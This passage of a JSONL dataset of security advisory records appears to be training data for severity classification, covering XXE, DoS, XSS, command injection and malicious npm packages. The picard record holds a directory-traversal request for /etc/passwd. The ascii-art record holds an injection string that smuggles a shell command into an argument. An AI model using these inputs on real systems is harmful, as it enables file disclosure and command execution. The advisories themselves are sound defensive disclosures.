files\n\n[Severity: MEDIUM]\n\nThis vulnerability in Apache Solr 6.0.0 to 6.6.3, 7.0.0 to 7.3.0 relates to an XML external entity expansion (XXE) in Solr config files (solrconfig.xml, schema.xml, managed-schema). In addition, Xinclude functionality provided in these config files is also affected in a similar way. The vulnerability can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network. Users are advised to upgrade to either Solr 6.6.4 or Solr 7.3.1 releases both of which address the vulnerability. Once upgrade is complete, no other steps are required. Those releases only allow external entities and Xincludes that refer to local files / zookeeper resources below the Solr instance directory (using Solr's ResourceLoader); usage of absolute URLs is denied. Keep in mind, that external entities and XInclude are explicitly supported to better structure config files in large installations. Before Solr 6 this was no problem, as config files were not accessible through the APIs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "45d010c6a8e5ddb22242", "text": "CHECK-fail in LSTM with zero-length input in TensorFlow\n\n### Impact\nRunning an LSTM/GRU model where the LSTM/GRU layer receives an input with zero-length results in a `CHECK` failure when using the CUDA backend.\n\nThis can result in a query-of-death vulnerability, via denial of service, if users can control the input to the layer.\n\n### Patches\nWe have patched the issue in GitHub commit [14755416e364f17fb1870882fa778c7fec7f16e3](https://github.com/tensorflow/tensorflow/commit/14755416e364f17fb1870882fa778c7fec7f16e3) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "CHECK-fail in LSTM with zero-length input in TensorFlow\n\n[Severity: MEDIUM]\n\n### Impact\nRunning an LSTM/GRU model where the LSTM/GRU layer receives an input with zero-length results in a `CHECK` failure when using the CUDA backend.\n\nThis can result in a query-of-death vulnerability, via denial of service, if users can control the input to the layer.\n\n### Patches\nWe have patched the issue in GitHub commit [14755416e364f17fb1870882fa778c7fec7f16e3](https://github.com/tensorflow/tensorflow/commit/14755416e364f17fb1870882fa778c7fec7f16e3) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "06da30be8ed6b019c073", "text": "Downloads Resources over HTTP in install-g-test\n\nAffected versions of `install-g-test` insecurely download resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in install-g-test\n\n[Severity: HIGH]\n\nAffected versions of `install-g-test` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "cdfd6d5137cf42a4ef2c", "text": "KVIrc 3.4.0 Virgo Remote Format String Exploit PoC", "text_raw": "KVIrc 3.4.0 Virgo Remote Format String Exploit PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2008-10-24", "split": "train"}
-{"id": "a6de8730aa41cdd5303e", "text": "Insufficiently Protected Credentials in Apache Tomcat\n\nWhen Apache Tomcat 9.0.0.M1 to 9.0.28, 8.5.0 to 8.5.47, 7.0.0 and 7.0.97 is configured with the JMX Remote Lifecycle Listener, a local attacker without access to the Tomcat process or configuration files is able to manipulate the RMI registry to perform a man-in-the-middle attack to capture user names and passwords used to access the JMX interface. The attacker can then use these credentials to access the JMX interface and gain complete control over the Tomcat instance.", "text_raw": "Insufficiently Protected Credentials in Apache Tomcat\n\n[Severity: HIGH]\n\nWhen Apache Tomcat 9.0.0.M1 to 9.0.28, 8.5.0 to 8.5.47, 7.0.0 and 7.0.97 is configured with the JMX Remote Lifecycle Listener, a local attacker without access to the Tomcat process or configuration files is able to manipulate the RMI registry to perform a man-in-the-middle attack to capture user names and passwords used to access the JMX interface. The attacker can then use these credentials to access the JMX interface and gain complete control over the Tomcat instance.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-26", "split": "train"}
-{"id": "d427de06254ffc4234ff", "text": "Double free in arenavec\n\nAffected versions of this crate did not guard against potential panics that may happen from user-provided functions T::default() and T::drop().\n\nPanic within T::default() leads to dropping uninitialized T, when it is invoked from common::Slice::<T, H>::new(). Panic within T::drop() leads to double drop of T, when it is invoked either from common::SliceVec::<T, H>::resize_with() or common::SliceVec::<T, H>::resize()\n\nEither case causes memory corruption in the heap memory.", "text_raw": "Double free in arenavec\n\n[Severity: HIGH]\n\nAffected versions of this crate did not guard against potential panics that may happen from user-provided functions T::default() and T::drop().\n\nPanic within T::default() leads to dropping uninitialized T, when it is invoked from common::Slice::<T, H>::new(). Panic within T::drop() leads to double drop of T, when it is invoked either from common::SliceVec::<T, H>::resize_with() or common::SliceVec::<T, H>::resize()\n\nEither case causes memory corruption in the heap memory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f2b53e8d4e0d76fec214", "text": "Subrion CMS 2.2.1 CSRF Add Admin Exploit", "text_raw": "Subrion CMS 2.2.1 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-09-11", "split": "train"}
-{"id": "3b70b158ff0aeb58535f", "text": "Process crashes when the cell used as DepGroup is not alive\n\n### Impact\n\nIt's easy to create a malign transaction which uses the dead cell as the DepGroup in the DepCells. The transaction can crash all the receiving nodes.", "text_raw": "Process crashes when the cell used as DepGroup is not alive\n\n[Severity: CRITICAL]\n\n### Impact\n\nIt's easy to create a malign transaction which uses the dead cell as the DepGroup in the DepCells. The transaction can crash all the receiving nodes.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d4a4a99bd79cf758824a", "text": "Malicious Package in crpyto-js\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in crpyto-js\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "62be119f60d7cfc53a01", "text": "SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability", "text_raw": "SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-02", "split": "train"}
-{"id": "0c43f66c9fcb5192c5ec", "text": "Command Injection in Limdu\n\n### Impact\nThe `trainBatch` function has a command injection vulnerability. Clients of the Limdu library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n### Patches\nPatched in version 0.9.5.\n\n### Workarounds\nDo not use trainBatch with classifiers that rely on shell execution, such as SVM Perf, SVM Linear or Adaboost\n\n### References\nNo", "text_raw": "Command Injection in Limdu\n\n[Severity: LOW]\n\n### Impact\nThe `trainBatch` function has a command injection vulnerability. Clients of the Limdu library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n### Patches\nPatched in version 0.9.5.\n\n### Workarounds\nDo not use trainBatch with classifiers that rely on shell execution, such as SVM Perf, SVM Linear or Adaboost\n\n### References\nNo", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-06-22", "split": "train"}
-{"id": "20bca6ae82e2ceca5b1b", "text": "XSS Cross Site Scripting\n\n### Impact\nIt is possible to persistently inject scripts in XWiki.\n\nFor unregistred users:\n- By filling simple text fields\n\nFor registered users:\n- By filling their personal information\n- (if they have edit rights) By filling the values of static lists using App Within Minutes\n\nThat can lead to user's session hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other security vulnerabilities.\nThat can also lead to the attacker taking over an account.\nIf the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account.\n### Patches\nIt has been patched on XWiki 12.8 and 12.6.3.\n\n### Workarounds\nThere is no easy workaround except upgrading XWiki.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17374\n\n### For more information\nIf you have any questions or comments about this advisory:\n  * Open an issue in [Jira XWiki](https://jira.xwiki.org)\n  * Email us at our [security mailing list](mailto:security@xwiki.org)", "text_raw": "XSS Cross Site Scripting\n\n[Severity: CRITICAL]\n\n### Impact\nIt is possible to persistently inject scripts in XWiki.\n\nFor unregistred users:\n- By filling simple text fields\n\nFor registered users:\n- By filling their personal information\n- (if they have edit rights) By filling the values of static lists using App Within Minutes\n\nThat can lead to user's session hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other security vulnerabilities.\nThat can also lead to the attacker taking over an account.\nIf the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account.\n### Patches\nIt has been patched on XWiki 12.8 and 12.6.3.\n\n### Workarounds\nThere is no easy workaround except upgrading XWiki.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17374\n\n### For more information\nIf you have any questions or comments about this advisory:\n  * Open an issue in [Jira XWiki](https://jira.xwiki.org)\n  * Email us at our [security mailing list](mailto:security@xwiki.org)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "62b3bd460ed469c1a397", "text": "Prevent user enumeration using Guard or the new Authenticator-based Security\n\nDescription\n-----------\n\nThe ability to enumerate users was possible without relevant permissions due to different exception messages depending on whether the user existed or not. It was also possible to enumerate users by using a timing attack, by comparing time elapsed when authenticating an existing user and authenticating a non-existing user.\n\nResolution\n----------\n\nWe now ensure that 403s are returned whether the user exists or not if the password is invalid or if the user does not exist.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/2a581d22cc621b33d5464ed65c4bc2057f72f011) for branch 3.4.\n\nCredits\n-------\n\nI would like to thank James Isaac and Mathias Brodala for reporting the issue and Robin Chalas for fixing the issue.", "text_raw": "Prevent user enumeration using Guard or the new Authenticator-based Security\n\n[Severity: MEDIUM]\n\nDescription\n-----------\n\nThe ability to enumerate users was possible without relevant permissions due to different exception messages depending on whether the user existed or not. It was also possible to enumerate users by using a timing attack, by comparing time elapsed when authenticating an existing user and authenticating a non-existing user.\n\nResolution\n----------\n\nWe now ensure that 403s are returned whether the user exists or not if the password is invalid or if the user does not exist.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/2a581d22cc621b33d5464ed65c4bc2057f72f011) for branch 3.4.\n\nCredits\n-------\n\nI would like to thank James Isaac and Mathias Brodala for reporting the issue and Robin Chalas for fixing the issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "ebcc11d4dfd8eb79297b", "text": "Null pointer dereference in TFLite MLIR optimizations\n\n### Impact\nAn attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:\n\nThis is caused by the MLIR optimization of `L2NormalizeReduceAxis` operator. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/lite/transforms/optimize.cc#L67-L70) unconditionally dereferences a pointer to an iterator to a vector without checking that the vector has elements:\n\n```cc\nbool L2NormalizeReduceAxis(Value sq_op, DenseElementsAttr axis) {\n  if (sq_op.getType().cast<ShapedType>().getRank() - 1 ==\n          *axis.getValues<int>().begin() ||\n      *axis.getValues<int>().begin() == -1) {\n      // ...\n  }\n  // ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [d6b57f461b39fd1aa8c1b870f1b974aac3554955](https://github.com/tensorflow/tensorflow/commit/d6b57f461b39fd1aa8c1b870f1b974aac3554955).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution              \nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Null pointer dereference in TFLite MLIR optimizations\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:\n\nThis is caused by the MLIR optimization of `L2NormalizeReduceAxis` operator. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/lite/transforms/optimize.cc#L67-L70) unconditionally dereferences a pointer to an iterator to a vector without checking that the vector has elements:\n\n```cc\nbool L2NormalizeReduceAxis(Value sq_op, DenseElementsAttr axis) {\n  if (sq_op.getType().cast<ShapedType>().getRank() - 1 ==\n          *axis.getValues<int>().begin() ||\n      *axis.getValues<int>().begin() == -1) {\n      // ...\n  }\n  // ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [d6b57f461b39fd1aa8c1b870f1b974aac3554955](https://github.com/tensorflow/tensorflow/commit/d6b57f461b39fd1aa8c1b870f1b974aac3554955).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n          \n### Attribution              \nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b15d6c6dc7dc45dad092", "text": "appium-chromedriver downloads Resources over HTTP\n\nAffected versions of `appium-chromedriver` insecurely download resources over HTTP.\n\nIn scenarios where an attacker has a privileged network position, they can modify or read items send over HTTP at will. In this case, that includes the chromedriver binary, which may result in remote code execution if overwritten with a malicious binary.\n\n## Recommendation\n\nUpdate to version 2.9.4 or later.", "text_raw": "appium-chromedriver downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `appium-chromedriver` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read items send over HTTP at will. In this case, that includes the chromedriver binary, which may result in remote code execution if overwritten with a malicious binary.\n\n\n## Recommendation\n\nUpdate to version 2.9.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "e3bc7179ff75e67e8adb", "text": "Directory Traversal in picard\n\nAffected versions of `picard` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in picard\n\n[Severity: HIGH]\n\nAffected versions of `picard` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "845c0f6b3c8ea03f3824", "text": "Command Injection in ascii-art\n\nVersions of `ascii-art` before 1.4.4 are vulnerable to command injection. This is exploitable when user input is passed into the argument of the `ascii-art preview` command.\n\nExample Proof of concept:\n`ascii-art preview 'doom\"; touch /tmp/malicious; echo \"'`\n\nGiven that the input is passed on the command line and none of the api methods are vulnerable to this,  the likely exploitation vector is when the ascii-art comment is being called programmatically using something like `execFile`.\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", "text_raw": "Command Injection in ascii-art\n\n[Severity: LOW]\n\nVersions of `ascii-art` before 1.4.4 are vulnerable to command injection. This is exploitable when user input is passed into the argument of the `ascii-art preview` command. \n\n\nExample Proof of concept:\n`ascii-art preview 'doom\"; touch /tmp/malicious; echo \"'`\n\nGiven that the input is passed on the command line and none of the api methods are vulnerable to this,  the likely exploitation vector is when the ascii-art comment is being called programmatically using something like `execFile`.\n\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "7fb5917991bdc6ba693d", "text": "Double free in linea\n\nAffected versions of this crate did not properly implements the Matrix::zip_elements method, which causes an double free when the given trait implementation might panic. This allows an attacker to corrupt or take control of the memory.", "text_raw": "Double free in linea\n\n[Severity: CRITICAL]\n\nAffected versions of this crate did not properly implements the Matrix::zip_elements method, which causes an double free when the given trait implementation might panic. This allows an attacker to corrupt or take control of the memory.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1e96350893700732d6f4", "text": "Malicious Package in jajajejejiji\n\nAll versions of `jajajejejiji` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in jajajejejiji\n\n[Severity: CRITICAL]\n\nAll versions of `jajajejejiji` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "53dec020d6a9792e9391", "text": "Disabled Hostname Verification in Opencast\n\nOpencast before version 8.9 and 7.9 disables HTTPS hostname verification of its HTTP client used for a large portion of Opencast's HTTP requests.\n\nHostname verification is an important part when using HTTPS to ensure that the presented certificate is valid for the host. Disabling it can allow for man-in-the-middle attacks.\n\n### Patches\n\nThis problem is fixed in Opencast 7.9 and Opencast 8.9\n\n### Self-Signed Certificates\n\nPlease be aware that fixing the problem means that Opencast will not simply accept any self-signed certificates any longer without properly importing them. If you need those, please make sure to import them into the Java key store. Better yet, get a valid certificate e.g. from [Let's Encrypt](https://letsencrypt.org).", "text_raw": "Disabled Hostname Verification in Opencast\n\n[Severity: HIGH]\n\nOpencast before version 8.9 and 7.9 disables HTTPS hostname verification of its HTTP client used for a large portion of Opencast's HTTP requests.\n\nHostname verification is an important part when using HTTPS to ensure that the presented certificate is valid for the host. Disabling it can allow for man-in-the-middle attacks.\n\n### Patches\n\nThis problem is fixed in Opencast 7.9 and Opencast 8.9\n\n### Self-Signed Certificates\n\nPlease be aware that fixing the problem means that Opencast will not simply accept any self-signed certificates any longer without properly importing them. If you need those, please make sure to import them into the Java key store. Better yet, get a valid certificate e.g. from [Let's Encrypt](https://letsencrypt.org).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-08", "split": "train"}
-{"id": "b27b9ea8ea55d0571d17", "text": "NLTK Vulnerable to REDoS\n\nThe nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [`_read_comparison_block()`(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file `nltk/corpus/reader/comparative_sents.py` may cause an application to consume an excessive amount of CPU.", "text_raw": "NLTK Vulnerable to REDoS\n\n[Severity: HIGH]\n\nThe nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [`_read_comparison_block()`(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file `nltk/corpus/reader/comparative_sents.py` may cause an application to consume an excessive amount of CPU.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "0353aff60bc7ecf7daf9", "text": "Allocation of Resources Without Limits or Throttling in Hashicorp Consul\n\nHashiCorp Consul and Consul Enterprise include an HTTP API (introduced in 1.2.0) and DNS (introduced in 1.4.3) caching feature that was vulnerable to denial of service.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent/config\n\n### Fix\nThe vulnerability is fixed in versions 1.6.6 and 1.7.4.", "text_raw": "Allocation of Resources Without Limits or Throttling in Hashicorp Consul\n\n[Severity: HIGH]\n\nHashiCorp Consul and Consul Enterprise include an HTTP API (introduced in 1.2.0) and DNS (introduced in 1.4.3) caching feature that was vulnerable to denial of service.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent/config\n\n### Fix\nThe vulnerability is fixed in versions 1.6.6 and 1.7.4.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "084e9863d397c579cd08", "text": "Malicious Package in donotinstallthis\n\nThe package `donotinstallthis` contained malicious code. The package contained a script that was run as part of the install script. The script contacted a remote service tracking how many installations were done. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your environment.", "text_raw": "Malicious Package in donotinstallthis\n\n[Severity: CRITICAL]\n\nThe package `donotinstallthis` contained malicious code. The package contained a script that was run as part of the install script. The script contacted a remote service tracking how many installations were done. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your environment.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "b1864679889147c07f9d", "text": "Arbitrary Code Execution in feehi/cms\n\nAn arbitrary file upload vulnerability in Feehi CMS v2.0.8 and below allows attackers to execute arbitrary code via a crafted PHP file.", "text_raw": "Arbitrary Code Execution in feehi/cms\n\n[Severity: HIGH]\n\nAn arbitrary file upload vulnerability in Feehi CMS v2.0.8 and below allows attackers to execute arbitrary code via a crafted PHP file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "041eef72d03dd2791797", "text": "keycloak-core discloses system properties\n\nIt was found that while parsing the SAML messages the StaxParserUtil class of keycloak before 2.5.1 replaces special strings for obtaining attribute values with system property. This could allow an attacker to determine values of system properties at the attacked system by formatting the SAML request ID field to be the chosen system property which could be obtained in the \"InResponseTo\" field in the response.", "text_raw": "keycloak-core discloses system properties\n\n[Severity: MEDIUM]\n\nIt was found that while parsing the SAML messages the StaxParserUtil class of keycloak before 2.5.1 replaces special strings for obtaining attribute values with system property. This could allow an attacker to determine values of system properties at the attacked system by formatting the SAML request ID field to be the chosen system property which could be obtained in the \"InResponseTo\" field in the response.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "a1e6080b2dd1d5274132", "text": "Cross-site Scripting in SilverStripe Framework\n\nSilverStripe Framework through 4.8.1 allows XSS.", "text_raw": "Cross-site Scripting in SilverStripe Framework\n\n[Severity: MEDIUM]\n\nSilverStripe Framework through 4.8.1 allows XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f4b7c547d213edbc05cd", "text": "Script Injection in Show In Browser gem\n\nThe Show In Browser (show_in_browser) gem 0.0.3 for Ruby allows local users to inject arbitrary web script or HTML via a symlink attack on `/tmp/browser.html`.", "text_raw": "Script Injection in Show In Browser gem\n\n[Severity: MEDIUM]\n\nThe Show In Browser (show_in_browser) gem 0.0.3 for Ruby allows local users to inject arbitrary web script or HTML via a symlink attack on `/tmp/browser.html`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f86a843d4f16c549df09", "text": "Prototype Pollution in lodash.merge\n\nVersions of `lodash.merge` before 4.6.1 are vulnerable to Prototype Pollution. The function 'merge' may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "text_raw": "Prototype Pollution in lodash.merge\n\n[Severity: HIGH]\n\nVersions of `lodash.merge` before 4.6.1 are vulnerable to Prototype Pollution. The function 'merge' may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2a5bf8d60270f320b214", "text": "ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability", "text_raw": "ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-09-25", "split": "train"}
-{"id": "e3db7a76c14faf43ecc8", "text": "ATutor 2.0.2 (lang) HTTP Response Splitting Vulnerability", "text_raw": "ATutor 2.0.2 (lang) HTTP Response Splitting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "b4092345d97c21f523f8", "text": "Heap buffer overflow in Tensorflow\n\n### Impact\nThe implementation of `SparseFillEmptyRowsGrad` uses a double indexing pattern:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L263-L269\n\nIt is possible for `reverse_index_map(i)` to be an index outside of bounds of `grad_values`, thus resulting in a heap buffer overflow.\n\n### Patches\nWe have patched the issue in 390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap buffer overflow in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `SparseFillEmptyRowsGrad` uses a double indexing pattern:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L263-L269\n\nIt is possible for `reverse_index_map(i)` to be an index outside of bounds of `grad_values`, thus resulting in a heap buffer overflow.\n\n### Patches\nWe have patched the issue in 390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "e8cdbb3e10c3ebc6a4a7", "text": "VLC media player 1.0.5 Goldeneye (bookmarks) Remote Buffer Overflow PoC", "text_raw": "VLC media player 1.0.5 Goldeneye (bookmarks) Remote Buffer Overflow PoC\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-03-05", "split": "train"}
